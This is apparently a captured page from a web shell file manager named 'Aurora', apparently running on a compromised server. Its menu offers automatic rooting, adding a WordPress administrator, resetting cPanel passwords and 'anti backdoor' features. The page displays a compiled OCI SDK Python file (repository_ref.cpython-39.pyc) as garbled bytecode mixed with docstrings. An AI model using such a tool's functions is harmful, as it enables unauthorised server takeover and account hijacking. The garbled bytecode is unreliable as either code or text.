Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
lib
python3.9
site-packages
oci
devops
models
__pycache__
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: repository_ref.cpython-39.pyc
a ���fw# � @ s8 d dl mZmZmZ d dlmZ eG dd� de��ZdS )� )�formatted_flat_dict� NONE_SENTINEL�#value_allowed_none_or_none_sentinel)�init_model_state_from_kwargsc @ s� e Zd ZdZdZdZdd� Zedd� �Ze dd � �Z e jd d � �Z e dd� �Zejd d� �Ze dd� �Z e jdd� �Z e dd� �Zejdd� �Ze dd� �Zejdd� �Ze dd� �Zejdd� �Zdd� Zdd� Zdd� Zd S )!� RepositoryRefz3 Reference object with name and commit ID. �BRANCH�TAGc K sP ddddddd�| _ ddddd d d�| _d| _d| _d| _d| _d| _d| _dS )a Initializes a new RepositoryRef object with values from keyword arguments. This class has the following subclasses and if you are using this class as input to a service operations then you should favor using a subclass over the base class: * :class:`~oci.devops.models.RepositoryBranch` * :class:`~oci.devops.models.RepositoryTag` The following keyword arguments are supported (corresponding to the getters/setters of this class): :param ref_name: The value to assign to the ref_name property of this RepositoryRef. :type ref_name: str :param ref_type: The value to assign to the ref_type property of this RepositoryRef. Allowed values for this property are: "BRANCH", "TAG", 'UNKNOWN_ENUM_VALUE'. Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'. :type ref_type: str :param full_ref_name: The value to assign to the full_ref_name property of this RepositoryRef. :type full_ref_name: str :param repository_id: The value to assign to the repository_id property of this RepositoryRef. :type repository_id: str :param freeform_tags: The value to assign to the freeform_tags property of this RepositoryRef. :type freeform_tags: dict(str, str) :param defined_tags: The value to assign to the defined_tags property of this RepositoryRef. :type defined_tags: dict(str, dict(str, object)) �strzdict(str, str)zdict(str, dict(str, object)))�ref_name�ref_type� full_ref_name� repository_id� freeform_tags�defined_tagsZrefName�refTypeZfullRefNameZrepositoryIdZfreeformTagsZdefinedTagsN)Z swagger_typesZ attribute_map� _ref_name� _ref_type�_full_ref_name�_repository_id�_freeform_tags� _defined_tags)�self�kwargs� r �D/usr/lib/python3.9/site-packages/oci/devops/models/repository_ref.py�__init__ s( &� � zRepositoryRef.__init__c C s( | d }|dkrdS |dkr dS dS dS )z� Given the hash representation of a subtype of this class, use the info in the hash to return the class of the subtype. r r ZRepositoryBranchr Z RepositoryTagr Nr )Zobject_dictionary�typer r r �get_subtypeX s zRepositoryRef.get_subtypec C s | j S )z� **[Required]** Gets the ref_name of this RepositoryRef. Unique reference name inside a repository. :return: The ref_name of this RepositoryRef. :rtype: str �r �r r r r r h s zRepositoryRef.ref_namec C s || _ dS )z� Sets the ref_name of this RepositoryRef. Unique reference name inside a repository. :param ref_name: The ref_name of this RepositoryRef. :type: str Nr )r r r r r r t s c C s | j S )aw **[Required]** Gets the ref_type of this RepositoryRef. The type of reference (BRANCH or TAG). Allowed values for this property are: "BRANCH", "TAG", 'UNKNOWN_ENUM_VALUE'. Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'. :return: The ref_type of this RepositoryRef. :rtype: str )r r r r r r � s zRepositoryRef.ref_typec C s ddg}t ||�sd}|| _dS )z� Sets the ref_type of this RepositoryRef. The type of reference (BRANCH or TAG). :param ref_type: The ref_type of this RepositoryRef. :type: str r r ZUNKNOWN_ENUM_VALUEN)r r )r r Zallowed_valuesr r r r � s c C s | j S )z� **[Required]** Gets the full_ref_name of this RepositoryRef. Unique full reference name inside a repository. :return: The full_ref_name of this RepositoryRef. :rtype: str �r r r r r r � s zRepositoryRef.full_ref_namec C s || _ dS )z� Sets the full_ref_name of this RepositoryRef. Unique full reference name inside a repository. :param full_ref_name: The full_ref_name of this RepositoryRef. :type: str Nr )r r r r r r � s c C s | j S )z� **[Required]** Gets the repository_id of this RepositoryRef. The OCID of the repository containing the reference. :return: The repository_id of this RepositoryRef. :rtype: str �r r r r r r � s zRepositoryRef.repository_idc C s || _ dS )z� Sets the repository_id of this RepositoryRef. The OCID of the repository containing the reference. :param repository_id: The repository_id of this RepositoryRef. :type: str Nr! )r r r r r r � s c C s | j S )a� Gets the freeform_tags of this RepositoryRef. Simple key-value pair that is applied without any predefined name, type or scope. Exists for cross-compatibility only. See `Resource Tags`__. Example: `{"bar-key": "value"}` __ https://docs.cloud.oracle.com/Content/General/Concepts/resourcetags.htm :return: The freeform_tags of this RepositoryRef. :rtype: dict(str, str) �r r r r r r � s zRepositoryRef.freeform_tagsc C s || _ dS )a� Sets the freeform_tags of this RepositoryRef. Simple key-value pair that is applied without any predefined name, type or scope. Exists for cross-compatibility only. See `Resource Tags`__. Example: `{"bar-key": "value"}` __ https://docs.cloud.oracle.com/Content/General/Concepts/resourcetags.htm :param freeform_tags: The freeform_tags of this RepositoryRef. :type: dict(str, str) Nr"